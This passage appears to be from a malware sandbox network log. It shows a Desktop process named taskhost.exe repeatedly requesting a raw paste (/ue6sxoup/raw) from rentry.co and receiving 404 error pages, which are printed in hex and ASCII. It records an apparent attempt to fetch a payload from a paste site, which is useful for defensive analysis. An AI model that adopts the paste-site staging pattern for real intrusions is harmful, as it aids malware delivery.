2024-12-13 10:49:32 UTC	1369	IN	Data Raw: 29 2e 6d 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 Data Ascii: ).matches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttrib
2024-12-13 10:49:32 UTC	1227	IN	Data Raw: 74 20 6d 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 Data Ascii: t mode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49850	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:36 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:37 UTC	873	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aWp5dp5s8Mg0j9oQd9rdFOwJwTVlP4LF%2By1SbFmsCuMWQOIuHtdKL7%2FD8EmmRdFkgxNeBL4kXPCt82lP%2Fzm56VCSGdt%2B2HzouN1co4fWIi1%2FaTBfQTmSOKfruQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1563750906de9a-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1513&min_rtt=1513&rtt_var=569&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1921052&cwnd=209&unsent_bytes=0&cid=30b89b07403da010&ts=811&x=0"
2024-12-13 10:49:37 UTC	496	IN	Data Raw: 31 31 36 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1163<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:37 UTC	1369	IN	Data Raw: 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://r
2024-12-13 10:49:37 UTC	1369	IN	Data Raw: 2e 6d 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 Data Ascii: .matches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribu
2024-12-13 10:49:37 UTC	1225	IN	Data Raw: 20 6d 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 Data Ascii: mode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:37 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-12-13 10:49:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49861	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:41 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:42 UTC	875	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VU9fcuE5u0TyThzOgaml8duM%2B%2Fc7VzwsECtxH5Y6xcIDIbrG1mtAOwgFeWeagLz5lO5VTGBrax2ulNNW%2FY2D%2F6eqLUb335BILLbaYZF%2BD4azJFyNoZu0tI%2FO4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1563959ed90f46-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1638&rtt_var=637&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=685&delivery_rate=1782661&cwnd=226&unsent_bytes=0&cid=2bd371121d77cc32&ts=803&x=0"
2024-12-13 10:49:42 UTC	494	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:42 UTC	1369	IN	Data Raw: 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f Data Ascii: > <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https:/
2024-12-13 10:49:42 UTC	1369	IN	Data Raw: 22 29 2e 6d 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 Data Ascii: ").matches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttri
2024-12-13 10:49:42 UTC	1228	IN	Data Raw: 68 74 20 6d 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 Data Ascii: ht mode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49877	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:46 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:47 UTC	871	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Iz2TKKguUpwpnC5geLPLprK83nehs0CCtrwdk1dHr3as%2F3%2FnaVGBQVSMXEmSvR4P%2FcDWIUbeLmFStpLOTdLPpAUVm%2Bbgy1f9tukTXErwCVPxPGvR689Jq1qjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1563b4fd7e4295-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1612&rtt_var=608&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1795817&cwnd=252&unsent_bytes=0&cid=7fbc11b59a3f741b&ts=814&x=0"
2024-12-13 10:49:47 UTC	498	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:47 UTC	1369	IN	Data Raw: 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://ren
2024-12-13 10:49:47 UTC	1369	IN	Data Raw: 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 Data Ascii: atches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute
2024-12-13 10:49:47 UTC	1224	IN	Data Raw: 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: ode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49888	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:51 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:52 UTC	873	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rap4EozJcJZIuBQVNuQF6ZlXBSeiyDL%2FOSH1QjFy6QTysydstwxK%2FosnLCDIj%2B2cjyACkVZdnwcGi2lIuHZsheS2EEERVBa1iqebqwQ2Z2BI2oToW%2B6r%2BzjRkw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1563d469f71a0b-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2190&min_rtt=1932&rtt_var=909&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1511387&cwnd=249&unsent_bytes=0&cid=69bd5b710199f618&ts=574&x=0"
2024-12-13 10:49:52 UTC	496	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:52 UTC	1369	IN	Data Raw: 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://r
